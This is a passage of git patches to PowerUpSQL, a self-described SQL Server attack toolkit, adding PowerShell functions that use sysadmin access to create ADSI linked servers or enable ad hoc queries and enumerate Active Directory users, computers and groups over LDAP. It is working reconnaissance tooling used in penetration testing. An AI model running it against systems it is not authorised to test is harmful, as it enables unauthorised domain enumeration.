Hoc Distributed Queries'" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Select-Object value_in_use -ExpandProperty value_in_use + + # Enable 'Show Advanced Options' + if($Original_State_ShowAdv -eq 0){ + + # Execute Query + Get-SQLQuery -Instance $Instance -Query "sp_configure 'Show Advanced Options',1;RECONFIGURE" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose + + # Status user + If (-not($SuppressVerbose)){ + Write-Verbose -Message "$Instance : Enabled 'Show Advanced Options'" + } + }else{ + If (-not($SuppressVerbose)){ + Write-Verbose -Message "$Instance : 'Show Advanced Options' is already enabled" + } + } + + # Enable 'Ad Hoc Distributed Queries' + if($Original_State_AdHocQuery -eq 0){ + + # Execute Query + Get-SQLQuery -Instance $Instance -Query "sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose + + # Status user + If (-not($SuppressVerbose)){ + Write-Verbose -Message "$Instance : Enabled 'Ad Hoc Distributed Queries'" + } + }else{ + If (-not($SuppressVerbose)){ + Write-Verbose -Message "$Instance : 'Ad Hoc Distributed Queries' are already enabled" + } + } + } + + # SetUp LDAP Query + if($UseAdHoc){ + + # Define adhoc query auth + if(($LinkUsername) -and ($LinkPassword)){ + $AdHocAuth = "User ID=$LinkUsername; Password=$LinkPassword;" + }else{ + $AdHocAuth = "adsdatasource" + } + + # Define adhoc query + $Query = " + -- Run with credential in syntax option 1 - works as sa + SELECT * + FROM OPENROWSET('ADSDSOOBJECT','$AdHocAuth', + ';$LdapFilter;$LdapFields;subtree')" + }else{ + + # Define link query + $Query = "SELECT * FROM OpenQuery($RandomLinkName,';$LdapFilter;$LdapFields;subtree')" + } + + # Display TSQL Query + # Write-verbose "Query: $Query" + + # Status user + If (-not($SuppressVerbose)){ + Write-Verbose -Message "$Instance : Grabbing list of domain users from ADS using ADSI OLEDB..." + } + + # Execute Query + $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential + + # Add results to table + $TblDomainObjects += $TblResults + + # Remove ADSI Link (if Link) + if(-not $UseAdHoc){ + + # Status user + If (-not($SuppressVerbose)){ + Write-Verbose -Message "$Instance : Removing ADSI SQL Server link named $RandomLinkName" + } + + # Setup query to remove link + $RemoveLinkQuery = "EXEC master.dbo.sp_dropserver @server=N'$RandomLinkName', @droplogins='droplogins'" + + # Run query to remove link + $RemoveLinkQueryResults = Get-SQLQuery -Instance $Instance -Query $RemoveLinkQuery -Username $Username -Password $Password -Credential $Credential -SuppressVerbose + } + + # Restore AdHoc State (if adhoc) + if($UseAdHoc){ + + # Status user + If (-not($SuppressVerbose)){ + Write-Verbose -Message "$Instance : Restoring AdHoc settings if needed." + } + + # Restore ad hoc queries + Get-SQLQuery -Instance $Instance -Query "sp_configure 'Ad Hoc Distributed Queries',$Original_State_AdHocQuery;RECONFIGURE" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose + + # Restore Show advanced options + Get-SQLQuery -Instance $Instance -Query "sp_configure 'Show Advanced Options',$Original_State_ShowAdv;RECONFIGURE" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose + } + } + + End + { + return $TblDomainObjects + } +} + + # ---------------------------------- # Get-SQLDomainUser # ---------------------------------- @@ -12932,7 +13303,7 @@ function Create-SQLFileXpDll Modified source code used to create the DLL can be found at the link below: https://github.com/nullbind/Powershellery/blob/master/Stable-ish/MSSQL/xp_evil_template.cpp - The method used to patch the DLL was based on Will Schroeder "Invoke-PatchDll" function found in the PowerUp toolkit: + The method used to patch the DLL was based on Will Schroeder (@HarmJ0y) "Invoke-PatchDll" function found in the PowerUp toolkit: https://github.com/HarmJ0y/PowerUp #> diff --git a/PowerUpSQL.psd1 b/PowerUpSQL.psd1 index 6535795..a3cb2f3 100644 --- a/PowerUpSQL.psd1 +++ b/PowerUpSQL.psd1 @@ -1,7 +1,7 @@ #requires -Version 1 @{ ModuleToProcess = 'PowerUpSQL.psm1' - ModuleVersion = '1.86.111' + ModuleVersion = '1.87.111' GUID = 'dd1fe106-2226-4869-9363-44469e930a4a' Author = 'Scott Sutherland' Copyright = 'BSD 3-Clause' @@ -26,6 +26,7 @@ 'Get-SQLDatabaseSchema', 'Get-SQLDatabaseThreaded', 'Get-SQLDatabaseUser', + 'Get-SQLDomainObject', 'Get-SQLDomainUser', 'Get-SQLFuzzDatabaseName', 'Get-SQLFuzzDomainAccount', From 1ab2355b11dbe84f201ab445eb8fd524c5dc1cf4 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Sun, 22 Oct 2017 22:08:30 -0500 Subject: [PATCH 133/145] Update Get-SQLDomainUser Update Get-SQLDomainUser to use Get-SQLDomainObject. --- PowerUpSQL.ps1 | 263 ++---------------------------------------------- PowerUpSQL.psd1 | 2 +- 2 files changed, 9 insertions(+), 256 deletions(-) diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index 9e676f4..e2e3f21 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -3,7 +3,7 @@ File: PowerUpSQL.ps1 Author: Scott Sutherland (@_nullbind), NetSPI - 2016 Major Contributors: Antti Rantasaari and Eric Gruber - Version: 1.87.111 + Version: 1.87.112 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.2 @@ -7311,14 +7311,6 @@ Function Get-SQLDomainUser # Create data tables for output $TblResults = New-Object -TypeName System.Data.DataTable $TblDomainUsers = New-Object -TypeName System.Data.DataTable - $null = $TblDomainUsers.Columns.Add('ComputerName') - $null = $TblDomainUsers.Columns.Add('Instance') - $null = $TblDomainUsers.Columns.Add('SamAccountName') - $null = $TblDomainUsers.Columns.Add('Name') - $null = $TblDomainUsers.Columns.Add('admincount') - $null = $TblDomainUsers.Columns.Add('whencreated') - $null = $TblDomainUsers.Columns.Add('whenchanged') - $null = $TblDomainUsers.Columns.Add('AdsPath') # Setup data table for pipeline threading $PipelineItems = New-Object -TypeName System.Data.DataTable @@ -7351,262 +7343,23 @@ Function Get-SQLDomainUser { # Define code to be multi-threaded $MyScriptBlock = { + # Set instance $Instance = $_.Instance # Parse computer name from the instance - $ComputerName = Get-ComputerNameFromInstance -Instance $Instance - - # Test connection to instance - $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { - $_.Status -eq 'Accessible' - } - if($TestConnection) - { - if( -not $SuppressVerbose) - { - Write-Verbose -Message "$Instance : Connection Success." - } - } - else - { - if( -not $SuppressVerbose) - { - Write-Verbose -Message "$Instance : Connection Failed." - } - return - } - - # Check sysadmin - $ServerInfo = Get-SQLServerInfo -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose - $DomainName = $ServerInfo.DomainName - $IsSysadmin = $ServerInfo.IsSysadmin - - If (-not($SuppressVerbose)){ - Write-Verbose -Message "$Instance : Domain:$DomainName" - } - - if($IsSysadmin -eq "No") - { - If (-not($SuppressVerbose)){ - Write-Verbose -Message "$Instance : This command requires sysadmin privileges. Exiting." - } - return - }else{ - - If (-not($SuppressVerbose)){ - Write-Verbose -Message "$Instance : You have sysadmin privileges." - } - } - - # Check if adsi is installed and enabled - #- get-sqloledbprovider where providername -eq ADSDSOObject - - # Determine query type - if($UseAdHoc){ - If (-not($SuppressVerbose)){ - Write-Verbose -Message "$Instance : Executing in AdHoc mode using OpenRowSet." - } - }else{ - If (-not($SuppressVerbose)){ - Write-Verbose -Message "$Instance : Executing in Link mode using OpenQuery." - } - } - - # Create ADSI Link (if link) - if(-not $UseAdHoc){ - - # ---------------------------------- - # Creaet ADSI SQL Server Link - # ---------------------------------- - - # Create Random Name - $RandomLinkName = (-join ((65..90) + (97..122) | Get-Random -Count 8 | % {[char]$_})) - - # Status user - If (-not($SuppressVerbose)){ - Write-Verbose -Message "$Instance : Creating ADSI SQL Server link named $RandomLinkName." - } - - # Create Link - $QueryCreateLink = " - - -- Create SQL Server link to ADSI - IF (SELECT count(*) FROM master..sysservers WHERE srvname = '$RandomLinkName') = 0 - EXEC master.dbo.sp_addlinkedserver @server = N'$RandomLinkName', - @srvproduct=N'Active Directory Service Interfaces', - @provider=N'ADSDSOObject', - @datasrc=N'adsdatasource' - - ELSE - SELECT 'The target SQL Server link already exists.'" - - - # Run query to create link - $QueryCreateLinkResults = Get-SQLQuery -Instance $Instance -Query $QueryCreateLink -Username $Username -Password $Password -Credential $Credential -ReturnError - - # ---------------------------------- - # Associate Login with Link - # ---------------------------------- - - # Associate Login with the link - if(($LinkUsername) -and ($LinkPassword)){ - - # Status user - If (-not($SuppressVerbose)){ - Write-Verbose -Message "$Instance : Associating login '$LinkUsername' with ADSI SQL Server link named $RandomLinkName." - } - - $QueryAssociateLogin = " - - EXEC sp_addlinkedsrvlogin - @rmtsrvname=N'$RandomLinkName', - @useself=N'False', - @locallogin=NULL, - @rmtuser=N'$LinkUsername', - @rmtpassword=N'$LinkPassword'" - - }else{ - - # Status user - If (-not($SuppressVerbose)){ - Write-Verbose -Message "$Instance : Associating current login with ADSI SQL Server link named $RandomLinkName." - } - - $QueryAssociateLogin = " - -- Current User Context - -- Notes: testing tbd, sql login (non sysadmin), sql login (sysadmin), windows login (nonsysadmin), windows login (sysadmin), - test passthru and provided creds - EXEC sp_addlinkedsrvlogin - @rmtsrvname=N'$RandomLinkName', - @useself=N'True', - @locallogin=NULL, - @rmtuser=NULL, - @rmtpassword=NULL" - } - - # Run query to associate login with link - Get-SQLQuery -Instance $Instance -Query $QueryAssociateLogin -Username $Username -Password $Password -Credential $Credential -SuppressVerbose - - } - - # Enable AdHoc Queries (if adhoc and required) - if($UseAdHoc){ - - # Get current state - $Original_State_ShowAdv = Get-SQLQuery -Instance $Instance -Query "SELECT value_in_use FROM master.sys.configurations WHERE name like 'show advanced options'" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Select-Object value_in_use -ExpandProperty value_in_use - $Original_State_AdHocQuery = Get-SQLQuery -Instance $Instance -Query "SELECT value_in_use FROM master.sys.configurations WHERE name like 'Ad Hoc Distributed Queries'" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Select-Object value_in_use -ExpandProperty value_in_use - - # Enabled show advnaced options - if($Original_State_ShowAdv -eq 0){ - - # Execute Query - Get-SQLQuery -Instance $Instance -Query "sp_configure 'Show Advanced Options',1;RECONFIGURE" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose - - # Status user - If (-not($SuppressVerbose)){ - Write-Verbose -Message "$Instance : Enabled 'Show Advanced Options'" - } - } - - if($Original_State_AdHocQuery -eq 0){ - - # Execute Query - Get-SQLQuery -Instance $Instance -Query "sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose - - # Status user - If (-not($SuppressVerbose)){ - Write-Verbose -Message "$Instance : Enabled 'Ad Hoc Distributed Queries'" - } - } - } - - # SetUp Query - if($UseAdHoc){ - - # Define adhoc query auth - if(($LinkUsername) -and ($LinkPassword)){ - $AdHocAuth = "User ID=$LinkUsername; Password=$LinkPassword;" - }else{ - $AdHocAuth = "adsdatasource" - } - - # Define adhoc query - $Query = " - -- Run with credential in syntax option 1 - works as sa - SELECT * - FROM OPENROWSET('ADSDSOOBJECT','$AdHocAuth','SELECT samaccountname,name,admincount,whencreated,whenchanged,adspath - FROM ''LDAP://$DomainName'' - WHERE objectClass = ''User'' ')" - }else{ - - # Define link query - # $QueryTemplateLink = SELECT * FROM OpenQuery($RandomLinkName,';(&(objectCategory=Person)(objectClass=user));samaccountname,name,admincount,whencreated,whenchanged,adspath;subtree') - $Query = "SELECT * FROM OpenQuery($RandomLinkName, 'SELECT samaccountname,name,admincount,whencreated,whenchanged,AdsPath FROM ''LDAP://$DomainName'' WHERE objectClass = ''User'' AND objectCategory = ''Person'' ') AS tblADSI" - } + $ComputerName = Get-ComputerNameFromInstance -Instance $Instance - # Display TSQL Query - # Write-verbose "Query: $Query" - - # Status user - If (-not($SuppressVerbose)){ - Write-Verbose -Message "$Instance : Grabbing list of domain users from ADS using ADSI OLEDB..." - } - - # Execute Query - $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential - - # Append results for pipeline items - $TblResults | - ForEach-Object -Process { - - # Add record to master table - $null = $TblDomainUsers.Rows.Add( - $ComputerName, - $Instance, - $_.SamAccountName, - $_.Name, - $_.admincount, - $_.whencreated, - $_.whenchanged, - $_.AdsPath) - } - - # Remove ADSI Link (if Link) - if(-not $UseAdHoc){ - - # Status user - If (-not($SuppressVerbose)){ - Write-Verbose -Message "$Instance : Removing ADSI SQL Server link named $RandomLinkName" - } - - # Setup query to remove link - $RemoveLinkQuery = "EXEC master.dbo.sp_dropserver @server=N'$RandomLinkName', @droplogins='droplogins'" - - # Run query to remove link - $RemoveLinkQueryResults = Get-SQLQuery -Instance $Instance -Query $RemoveLinkQuery -Username $Username -Password $Password -Credential $Credential -SuppressVerbose - } - - # Restore AdHoc State (if adhoc) + # Call Get-SQLDomainObject if($UseAdHoc){ - - # Status user - If (-not($SuppressVerbose)){ - Write-Verbose -Message "$Instance : Restoring AdHoc settings if needed." - } - - # Restore ad hoc queries - Get-SQLQuery -Instance $Instance -Query "sp_configure 'Ad Hoc Distributed Queries',$Original_State_AdHocQuery;RECONFIGURE" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose - - # Restore Show advanced options - Get-SQLQuery -Instance $Instance -Query "sp_configure 'Show Advanced Options',$Original_State_ShowAdv;RECONFIGURE" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose + Get-SQLDomainObject -Verbose -Instance $Instance -Username $Username -Password $Password -LinkUsername $LinkUsername -LinkPassword $LinkPassword -LdapFilter '(&(objectCategory=Person)(objectClass=user))' -LdapFields 'samaccountname,name,admincount,whencreated,whenchanged,adspath' -UseAdHoc + }else{ + Get-SQLDomainObject -Verbose -Instance $Instance -Username $Username -Password $Password -LinkUsername $LinkUsername -LinkPassword $LinkPassword -LdapFilter '(&(objectCategory=Person)(objectClass=user))' -LdapFields 'samaccountname,name,admincount,whencreated,whenchanged,adspath' -UseAdHoc } } # Run scriptblock using multi-threading - $PipelineItems | Invoke-Parallel -ScriptBlock $MyScriptBlock -ImportSessionFunctions -ImportVariables -Throttle $Threads -RunspaceTimeout 2 -Quiet -ErrorAction SilentlyContinue - - # Return results - return $TblDomainUsers + $PipelineItems | Invoke-Parallel -ScriptBlock $MyScriptBlock -ImportSessionFunctions -ImportVariables -Throttle $Threads -RunspaceTimeout 2 -Quiet -ErrorAction SilentlyContinue } } diff --git a/PowerUpSQL.psd1 b/PowerUpSQL.psd1 index a3cb2f3..a3e4cbe 100644 --- a/PowerUpSQL.psd1 +++ b/PowerUpSQL.psd1 @@ -1,7 +1,7 @@ #requires -Version 1 @{ ModuleToProcess = 'PowerUpSQL.psm1' - ModuleVersion = '1.87.111' + ModuleVersion = '1.87.112' GUID = 'dd1fe106-2226-4869-9363-44469e930a4a' Author = 'Scott Sutherland' Copyright = 'BSD 3-Clause' From e6d07426b35c82138a6ff6025d3bbd7c6d8f62d8 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Sun, 22 Oct 2017 22:11:24 -0500 Subject: [PATCH 134/145] Add placeholder for Get-SQLDomainObject --- tests/PowerUpSQLTests.ps1 | 1 + 1 file changed, 1 insertion(+) diff --git a/tests/PowerUpSQLTests.ps1 b/tests/PowerUpSQLTests.ps1 index 1f3e6f8..bfedf73 100644 --- a/tests/PowerUpSQLTests.ps1 +++ b/tests/PowerUpSQLTests.ps1 @@ -13,6 +13,7 @@ ###################################################### <# +Get-SQLDomainObject Get-SQLDomainUser Get-SQLOleDbProvder Get-SQLInstanceDomain From 954dccecd14434b681c72ad92ee53d352182fbff Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Mon, 23 Oct 2017 15:15:15 -0500 Subject: [PATCH 135/145] Update Get-SQLDomainUser Fixed logic error. --- PowerUpSQL.ps1 | 5 ++--- PowerUpSQL.psd1 | 2 +- 2 files changed, 3 insertions(+), 4 deletions(-) diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index e2e3f21..390f3bd 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -3,7 +3,7 @@ File: PowerUpSQL.ps1 Author: Scott Sutherland (@_nullbind), NetSPI - 2016 Major Contributors: Antti Rantasaari and Eric Gruber - Version: 1.87.112 + Version: 1.87.113 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.2 @@ -7310,7 +7310,6 @@ Function Get-SQLDomainUser { # Create data tables for output $TblResults = New-Object -TypeName System.Data.DataTable - $TblDomainUsers = New-Object -TypeName System.Data.DataTable # Setup data table for pipeline threading $PipelineItems = New-Object -TypeName System.Data.DataTable @@ -7354,7 +7353,7 @@ Function Get-SQLDomainUser if($UseAdHoc){ Get-SQLDomainObject -Verbose -Instance $Instance -Username $Username -Password $Password -LinkUsername $LinkUsername -LinkPassword $LinkPassword -LdapFilter '(&(objectCategory=Person)(objectClass=user))' -LdapFields 'samaccountname,name,admincount,whencreated,whenchanged,adspath' -UseAdHoc }else{ - Get-SQLDomainObject -Verbose -Instance $Instance -Username $Username -Password $Password -LinkUsername $LinkUsername -LinkPassword $LinkPassword -LdapFilter '(&(objectCategory=Person)(objectClass=user))' -LdapFields 'samaccountname,name,admincount,whencreated,whenchanged,adspath' -UseAdHoc + Get-SQLDomainObject -Verbose -Instance $Instance -Username $Username -Password $Password -LinkUsername $LinkUsername -LinkPassword $LinkPassword -LdapFilter '(&(objectCategory=Person)(objectClass=user))' -LdapFields 'samaccountname,name,admincount,whencreated,whenchanged,adspath' } } diff --git a/PowerUpSQL.psd1 b/PowerUpSQL.psd1 index a3e4cbe..93030f2 100644 --- a/PowerUpSQL.psd1 +++ b/PowerUpSQL.psd1 @@ -1,7 +1,7 @@ #requires -Version 1 @{ ModuleToProcess = 'PowerUpSQL.psm1' - ModuleVersion = '1.87.112' + ModuleVersion = '1.87.113' GUID = 'dd1fe106-2226-4869-9363-44469e930a4a' Author = 'Scott Sutherland' Copyright = 'BSD 3-Clause' From 08c99cc5cf8f7f3102d4c63f8be6f2ac7b5f0c4a Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Mon, 23 Oct 2017 16:07:04 -0500 Subject: [PATCH 136/145] Add Get-SQLDomainComputer Add Get-SQLDomainComputer --- PowerUpSQL.ps1 | 139 +++++++++++++++++++++++++++++++++++++++++++++++- PowerUpSQL.psd1 | 3 +- 2 files changed, 140 insertions(+), 2 deletions(-) diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index 390f3bd..eb76e8f 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -3,7 +3,7 @@ File: PowerUpSQL.ps1 Author: Scott Sutherland (@_nullbind), NetSPI - 2016 Major Contributors: Antti Rantasaari and Eric Gruber - Version: 1.87.113 + Version: 1.88.113 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.2 @@ -7363,6 +7363,143 @@ Function Get-SQLDomainUser } +# ---------------------------------- +# Get-SQLDomainComputer +# ---------------------------------- +# Author: Scott Sutherland +Function Get-SQLDomainComputer +{ + <# + .SYNOPSIS + Using the OLE DB ADSI provider, query Active Directory for a list of domain computers + via the domain logon server associated with the SQL Server. This can be + done using a SQL Server link (OpenQuery) or AdHoc query (OpenRowset). Use the -UseAdHoc + flag to switch between modes. + .PARAMETER Username + SQL Server or domain account to authenticate with. + .PARAMETER Password + SQL Server or domain account password to authenticate with. + .PARAMETER LinkUsername + Domain account used to authenticate to LDAP through SQL Server ADSI link. + .PARAMETER LinkPassword + Domain account password used to authenticate to LDAP through SQL Server ADSI link. + .PARAMETER UseAdHoc + Use adhoc connection for executing the query instead of a server link. The link option (default) will create an ADSI server link and use OpenQuery. The AdHoc option will enable adhoc queries, and use OpenRowSet. + .PARAMETER Credential + SQL Server credential. + .PARAMETER Instance + SQL Server instance to connection to. + .PARAMETER Threads + Number of concurrent host threads. + .EXAMPLE + PS C:\> Get-SQLDomainComputer -Instance SQLServer1\STANDARDDEV2014 -Verbose -UseAdHoc + .EXAMPLE + PS C:\> Get-SQLDomainComputer -Instance SQLServer1\STANDARDDEV2014 -Verbose -UseAdHoc -LinkUsername 'domain\user' -LinkPassword 'Password123!' + .EXAMPLE + PS C:\> Get-SQLDomainComputer -Instance SQLServer1\STANDARDDEV2014 -Verbose + .EXAMPLE + PS C:\> Get-SQLDomainComputer -Instance SQLServer1\STANDARDDEV2014 -Verbose -LinkUsername 'domain\user' -LinkPassword 'Password123!' + .EXAMPLE + PS C:\> Get-SQLInstanceLocal | Get-SQLDomainComputer -Verbose + #> + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate to SQL Server.')] + [string]$Username, + + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate to SQL Server.')] + [string]$Password, + + [Parameter(Mandatory = $false, + HelpMessage = 'Domain account used to authenticate to LDAP through SQL Server ADSI link.')] + [string]$LinkUsername, + + [Parameter(Mandatory = $false, + HelpMessage = 'Domain account password used to authenticate to LDAP through SQL Server ADSI link.')] + [string]$LinkPassword, + + [Parameter(Mandatory = $false, + HelpMessage = 'Windows credentials.')] + [System.Management.Automation.PSCredential] + [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, + + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + + [Parameter(Mandatory = $false, + HelpMessage = 'Use adhoc connection for executing the query instead of a server link. The link option (default) will create an ADSI server link and use OpenQuery. The AdHoc option will enable adhoc queries, and use OpenRowSet.')] + [Switch]$UseAdHoc, + + [Parameter(Mandatory = $false, + HelpMessage = 'Number of threads. This is the number of instance to process at a time')] + [int]$Threads = 2, + + [Parameter(Mandatory = $false, + HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] + [switch]$SuppressVerbose + ) + + Begin + { + # Create data tables for output + $TblResults = New-Object -TypeName System.Data.DataTable + + # Setup data table for pipeline threading + $PipelineItems = New-Object -TypeName System.Data.DataTable + + # set instance to local host by default + if(-not $Instance) + { + $Instance = $env:COMPUTERNAME + } + + # Ensure provided instance is processed + if($Instance) + { + $ProvideInstance = New-Object -TypeName PSObject -Property @{ + Instance = $Instance + } + } + + # Add instance to instance list + $PipelineItems = $PipelineItems + $ProvideInstance + } + + Process + { + # Create list of pipeline items + $PipelineItems = $PipelineItems + $_ + } + + End + { + # Define code to be multi-threaded + $MyScriptBlock = { + + # Set instance + $Instance = $_.Instance + + # Parse computer name from the instance + $ComputerName = Get-ComputerNameFromInstance -Instance $Instance + + # Call Get-SQLDomainObject + if($UseAdHoc){ + Get-SQLDomainObject -Verbose -Instance $Instance -Username $Username -Password $Password -LinkUsername $LinkUsername -LinkPassword $LinkPassword -LdapFilter '(&(objectCategory=Person)(objectClass=user))' -LdapFields 'samaccountname,dnshostname,operatingsystem,operatingsystemservicepack,whencreated,whenchanged,adspath' -UseAdHoc + }else{ + Get-SQLDomainObject -Verbose -Instance $Instance -Username $Username -Password $Password -LinkUsername $LinkUsername -LinkPassword $LinkPassword -LdapFilter '(objectCategory=Computer)' -LdapFields 'samaccountname,dnshostname,operatingsystem,operatingsystemservicepack,whencreated,whenchanged,adspath' + } + } + + # Run scriptblock using multi-threading + $PipelineItems | Invoke-Parallel -ScriptBlock $MyScriptBlock -ImportSessionFunctions -ImportVariables -Throttle $Threads -RunspaceTimeout 2 -Quiet -ErrorAction SilentlyContinue + } +} + + # ---------------------------------- # Get-SQLSysadminCheck # ---------------------------------- diff --git a/PowerUpSQL.psd1 b/PowerUpSQL.psd1 index 93030f2..b123851 100644 --- a/PowerUpSQL.psd1 +++ b/PowerUpSQL.psd1 @@ -1,7 +1,7 @@ #requires -Version 1 @{ ModuleToProcess = 'PowerUpSQL.psm1' - ModuleVersion = '1.87.113' + ModuleVersion = '1.88.113' GUID = 'dd1fe106-2226-4869-9363-44469e930a4a' Author = 'Scott Sutherland' Copyright = 'BSD 3-Clause' @@ -27,6 +27,7 @@ 'Get-SQLDatabaseThreaded', 'Get-SQLDatabaseUser', 'Get-SQLDomainObject', + 'Get-SQLDomainComputer', 'Get-SQLDomainUser', 'Get-SQLFuzzDatabaseName', 'Get-SQLFuzzDomainAccount', From 82fbf35777941a27936681b21b32c1f4b0ee69e1 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Mon, 23 Oct 2017 16:11:40 -0500 Subject: [PATCH 137/145] Add Get-SQLDomainGroup Add Get-SQLDomainGroup --- PowerUpSQL.ps1 | 141 +++++++++++++++++++++++++++++++++++++++++++++++- PowerUpSQL.psd1 | 3 +- 2 files changed, 141 insertions(+), 3 deletions(-) diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index eb76e8f..bb0628e 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -3,7 +3,7 @@ File: PowerUpSQL.ps1 Author: Scott Sutherland (@_nullbind), NetSPI - 2016 Major Contributors: Antti Rantasaari and Eric Gruber - Version: 1.88.113 + Version: 1.89.113 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.2 @@ -7488,7 +7488,7 @@ Function Get-SQLDomainComputer # Call Get-SQLDomainObject if($UseAdHoc){ - Get-SQLDomainObject -Verbose -Instance $Instance -Username $Username -Password $Password -LinkUsername $LinkUsername -LinkPassword $LinkPassword -LdapFilter '(&(objectCategory=Person)(objectClass=user))' -LdapFields 'samaccountname,dnshostname,operatingsystem,operatingsystemservicepack,whencreated,whenchanged,adspath' -UseAdHoc + Get-SQLDomainObject -Verbose -Instance $Instance -Username $Username -Password $Password -LinkUsername $LinkUsername -LinkPassword $LinkPassword -LdapFilter '(objectCategory=Computer)' -LdapFields 'samaccountname,dnshostname,operatingsystem,operatingsystemservicepack,whencreated,whenchanged,adspath' -UseAdHoc }else{ Get-SQLDomainObject -Verbose -Instance $Instance -Username $Username -Password $Password -LinkUsername $LinkUsername -LinkPassword $LinkPassword -LdapFilter '(objectCategory=Computer)' -LdapFields 'samaccountname,dnshostname,operatingsystem,operatingsystemservicepack,whencreated,whenchanged,adspath' } @@ -7500,6 +7500,143 @@ Function Get-SQLDomainComputer } +# ---------------------------------- +# Get-SQLDomainGroup +# ---------------------------------- +# Author: Scott Sutherland +Function Get-SQLDomainGroup +{ + <# + .SYNOPSIS + Using the OLE DB ADSI provider, query Active Directory for a list of domain groups + via the domain logon server associated with the SQL Server. This can be + done using a SQL Server link (OpenQuery) or AdHoc query (OpenRowset). Use the -UseAdHoc + flag to switch between modes. + .PARAMETER Username + SQL Server or domain account to authenticate with. + .PARAMETER Password + SQL Server or domain account password to authenticate with. + .PARAMETER LinkUsername + Domain account used to authenticate to LDAP through SQL Server ADSI link. + .PARAMETER LinkPassword + Domain account password used to authenticate to LDAP through SQL Server ADSI link. + .PARAMETER UseAdHoc + Use adhoc connection for executing the query instead of a server link. The link option (default) will create an ADSI server link and use OpenQuery. The AdHoc option will enable adhoc queries, and use OpenRowSet. + .PARAMETER Credential + SQL Server credential. + .PARAMETER Instance + SQL Server instance to connection to. + .PARAMETER Threads + Number of concurrent host threads. + .EXAMPLE + PS C:\> Get-SQLDomainGroup -Instance SQLServer1\STANDARDDEV2014 -Verbose -UseAdHoc + .EXAMPLE + PS C:\> Get-SQLDomainGroup -Instance SQLServer1\STANDARDDEV2014 -Verbose -UseAdHoc -LinkUsername 'domain\user' -LinkPassword 'Password123!' + .EXAMPLE + PS C:\> Get-SQLDomainGroup -Instance SQLServer1\STANDARDDEV2014 -Verbose + .EXAMPLE + PS C:\> Get-SQLDomainGroup -Instance SQLServer1\STANDARDDEV2014 -Verbose -LinkUsername 'domain\user' -LinkPassword 'Password123!' + .EXAMPLE + PS C:\> Get-SQLInstanceLocal | Get-SQLDomainGroup -Verbose + #> + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate to SQL Server.')] + [string]$Username, + + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate to SQL Server.')] + [string]$Password, + + [Parameter(Mandatory = $false, + HelpMessage = 'Domain account used to authenticate to LDAP through SQL Server ADSI link.')] + [string]$LinkUsername, + + [Parameter(Mandatory = $false, + HelpMessage = 'Domain account password used to authenticate to LDAP through SQL Server ADSI link.')] + [string]$LinkPassword, + + [Parameter(Mandatory = $false, + HelpMessage = 'Windows credentials.')] + [System.Management.Automation.PSCredential] + [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, + + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + + [Parameter(Mandatory = $false, + HelpMessage = 'Use adhoc connection for executing the query instead of a server link. The link option (default) will create an ADSI server link and use OpenQuery. The AdHoc option will enable adhoc queries, and use OpenRowSet.')] + [Switch]$UseAdHoc, + + [Parameter(Mandatory = $false, + HelpMessage = 'Number of threads. This is the number of instance to process at a time')] + [int]$Threads = 2, + + [Parameter(Mandatory = $false, + HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] + [switch]$SuppressVerbose + ) + + Begin + { + # Create data tables for output + $TblResults = New-Object -TypeName System.Data.DataTable + + # Setup data table for pipeline threading + $PipelineItems = New-Object -TypeName System.Data.DataTable + + # set instance to local host by default + if(-not 